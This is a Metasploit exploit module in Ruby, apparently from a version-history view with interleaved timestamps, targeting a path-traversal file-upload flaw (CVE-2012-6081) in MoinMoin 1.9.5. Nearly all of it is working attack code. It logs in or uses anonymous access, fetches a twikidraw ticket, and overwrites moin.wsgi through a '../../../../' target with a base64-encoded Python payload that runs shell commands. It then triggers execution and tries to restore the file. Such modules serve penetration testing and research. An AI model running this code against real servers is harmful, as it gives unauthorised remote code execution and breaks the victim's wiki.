2013-06-17 21:13:55 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf :: Exploit :: Remote
Rank = ManualRanking
include Msf :: Exploit :: Remote :: HttpClient
def initialize ( info = { } )
super ( update_info ( info ,
'Name' = > 'MoinMoin twikidraw Action Traversal File Upload' ,
'Description' = > %q{
This module exploits a vulnerability in MoinMoin 1 . 9 . 5 . The vulnerability
exists on the manage of the twikidraw actions , where a traversal path can be used
in order to upload arbitrary files . Exploitation is achieved on Apached / mod_wsgi
configurations by overwriting moin . wsgi , which allows to execute arbitrary python
code , as exploited in the wild on July , 2012 . The user is warned to use this module
at his own risk since it ' s going to overwrite the moin . wsgi file , required for the
correct working of the MoinMoin wiki . While the exploit will try to restore the
attacked application at post exploitation , correct working after all isn ' t granted .
} ,
'Author' = >
[
'Unknown' , # Vulnerability discovery
'HTP' , # PoC
'juan vazquez' # Metasploit module
] ,
'License' = > MSF_LICENSE ,
'References' = >
[
[ 'CVE' , '2012-6081' ] ,
[ 'OSVDB' , '88825' ] ,
[ 'BID' , '57082' ] ,
[ 'EDB' , '25304' ] ,
[ 'URL' , 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ] ,
[ 'URL' , 'http://wiki.python.org/moin/WikiAttack2013' ]
] ,
'Privileged' = > false , # web server context
'Payload' = >
{
'DisableNops' = > true ,
'Space' = > 16384 , # Enough one to fit any payload
'Compat' = >
{
'PayloadType' = > 'cmd' ,
'RequiredCmd' = > 'generic telnet netcat perl'
}
} ,
'Platform' = > [ 'unix' ] ,
'Arch' = > ARCH_CMD ,
'Targets' = > [ [ 'MoinMoin 1.9.5' , { } ] ] ,
'DisclosureDate' = > 'Dec 30 2012' ,
'DefaultTarget' = > 0 ) )
register_options (
[
OptString . new ( 'TARGETURI' , [ true , " MoinMoin base path " , " / " ] ) ,
OptString . new ( 'WritablePage' , [ true , " MoinMoin Page with edit permissions to inject the payload, by default WikiSandbox (Ex: /WikiSandbox) " , " /WikiSandBox " ] ) ,
OptString . new ( 'USERNAME' , [ false , " The user to authenticate as (anonymous if username not provided) " ] ) ,
OptString . new ( 'PASSWORD' , [ false , " The password to authenticate with (anonymous if password not provided) " ] )
] , self . class )
end
def moinmoin_template ( path )
template = [ ]
template << " # -*- coding: iso-8859-1 -*- "
template << " import sys, os "
template << " sys.path.insert(0, 'PATH') " . gsub ( / PATH / , File . dirname ( path ) )
template << " from MoinMoin.web.serving import make_application "
template << " application = make_application(shared=True) "
return template
end
def restore_file ( session , file , contents )
first = true
contents . each { | line |
if first
session . shell_command_token ( " echo \" #{ line } \" > #{ file } " )
first = false
else
session . shell_command_token ( " echo \" #{ line } \" >> #{ file } " )
end
}
end
# Try to restore a basic moin.wsgi file with the hope of making the
# application usable again.
# Try to search on /usr/local/share/moin (default search path) and the
# current path (apache user home). Avoiding to search on "/" because it
# could took long time to finish.
def on_new_session ( session )
print_status ( " Trying to restore moin.wsgi... " )
begin
files = session . shell_command_token ( " find `pwd` -name moin.wsgi 2> /dev/null " )
files . split . each { | file |
print_status ( " #{ file } found! Trying to restore... " )
restore_file ( session , file , moinmoin_template ( file ) )
}
files = session . shell_command_token ( " find /usr/local/share/moin -name moin.wsgi 2> /dev/null " )
files . split . each { | file |
print_status ( " #{ file } found! Trying to restore... " )
restore_file ( session , file , moinmoin_template ( file ) )
}
print_warning ( " Finished. If application isn't usable, manual restore of the moin.wsgi file would be required. " )
rescue
print_warning ( " Error while restring moin.wsgi, manual restoring would be required. " )
end
end
def do_login ( username , password )
res = send_request_cgi ( {
'method' = > 'POST' ,
2013-06-18 01:34:02 +00:00
'uri' = > normalize_uri ( @base , @page ) ,
2013-06-17 21:13:55 +00:00
'vars_post' = >
{
'action' = > 'login' ,
'name' = > username ,
'password' = > password ,
'login' = > 'Login'
}
} )
if not res or res . code != 200 or not res . headers . include? ( 'Set-Cookie' )
return nil
end
return res . get_cookies
end
def upload_code ( session , code )
vprint_status ( " Retrieving the ticket... " )
res = send_request_cgi ( {
'uri' = > normalize_uri ( @base , @page ) ,
'cookie' = > session ,
'vars_get' = > {
'action' = > 'twikidraw' ,
'do' = > 'modify' ,
'target' = > '../../../../moin.wsgi'
}
} )
if not res or res . code != 200 or res . body !~ / ticket=(.*?)&target /
vprint_error ( " Error retrieving the ticket " )
return nil
end
ticket = $1
vprint_good ( " Ticket found: #{ ticket } " )
my_payload = " [MARK] #{ code } [MARK] "
post_data = Rex :: MIME :: Message . new
post_data . add_part ( " drawing.r if()else[] \n exec eval( \" open(__file__) \\ 56read() \\ 56split('[MARK]')[-2] \\ 56strip(' \\ \\ 0') \" ) " , nil , nil , " form-data; name= \" filename \" " )
post_data . add_part ( my_payload , " image/png " , nil , " form-data; name= \" filepath \" ; filename= \" drawing.png \" " )
my_data = post_data . to_s . gsub ( / ^ \ r \ n \ - \ - \ _Part \ _ / , '--_Part_' )
res = send_request_cgi ( {
'method' = > 'POST' ,
'uri' = > normalize_uri ( @base , @page ) ,
'cookie' = > session ,
'vars_get' = >
{
'action' = > 'twikidraw' ,
'do' = > 'save' ,
'ticket' = > ticket ,
'target' = > '../../../../moin.wsgi'
} ,
'data' = > my_data ,
'ctype' = > " multipart/form-data; boundary= #{ post_data . bound } "
} )
if not res or res . code != 200 or not res . body . empty?
vprint_error ( " Error uploading the payload " )
return nil
end
return true
end
def check
@base = target_uri . path
@base << '/' if @base [ - 1 , 1 ] != '/'
res = send_request_cgi ( {
'uri' = > normalize_uri ( @base )
} )
if res and res . code == 200 and res . body =~ / moinmoin /i and res . headers [ 'Server' ] =~ / Apache /
return Exploit :: CheckCode :: Detected
elsif res
return Exploit :: CheckCode :: Unknown
end
return Exploit :: CheckCode :: Safe
end
def writable_page? ( session )
res = send_request_cgi ( {
'uri' = > normalize_uri ( @base , @page ) ,
'cookie' = > session ,
} )
if not res or res . code != 200 or res . body !~ / Edit \ (Text \ ) /
return false
end
return true
end
def exploit
# Init variables
@page = datastore [ 'WritablePage' ]
@base = target_uri . path
@base << '/' if @base [ - 1 , 1 ] != '/'
# Login if needed
if ( datastore [ 'USERNAME' ] and
not datastore [ 'USERNAME' ] . empty? and
datastore [ 'PASSWORD' ] and
not datastore [ 'PASSWORD' ] . empty? )
print_status ( " Trying login to get session ID... " )
session = do_login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
else
print_status ( " Using anonymous access... " )
session = " "
end
# Check authentication
if not session
2013-06-18 03:30:44 +00:00
fail_with ( Exploit :: Failure :: NoAccess , " Error getting a session ID, check credentials or WritablePage option " )
2013-06-17 21:13:55 +00:00
end
# Check writable permissions
if not writable_page? ( session )
fail_with ( Exploit :: Failure :: NoAccess , " There are no write permissions on #{ @page } " )
end
# Upload payload
print_status ( " Trying to upload payload... " )
2013-06-19 16:35:52 +00:00
python_cmd = " import sys, os \n "
python_cmd << " os.system( \" #{ Rex :: Text . encode_base64 ( payload . encoded ) } \" .decode( \" base64 \" )) \n "
python_cmd << " sys.path.insert(0, '/usr/local/share/moin') \n "
python_cmd << " from MoinMoin.web.serving import make_application \n "
python_cmd << " application = make_application(shared=True) "
2013-06-17 21:13:55 +00:00
res = upload_code ( session , " exec(' #{ Rex :: Text . encode_base64 ( python_cmd ) } '.decode('base64')) " )
if not res
fail_with ( Exploit :: Failure :: Unknown , " Error uploading the payload " )
end
# Execute payload
print_status ( " Executing the payload... " )
res = send_request_cgi ( {
'uri' = > normalize_uri ( @base , @page ) ,
'cookie' = > session ,
'vars_get' = > {
'action' = > 'AttachFile'
}
} , 5 )
end
end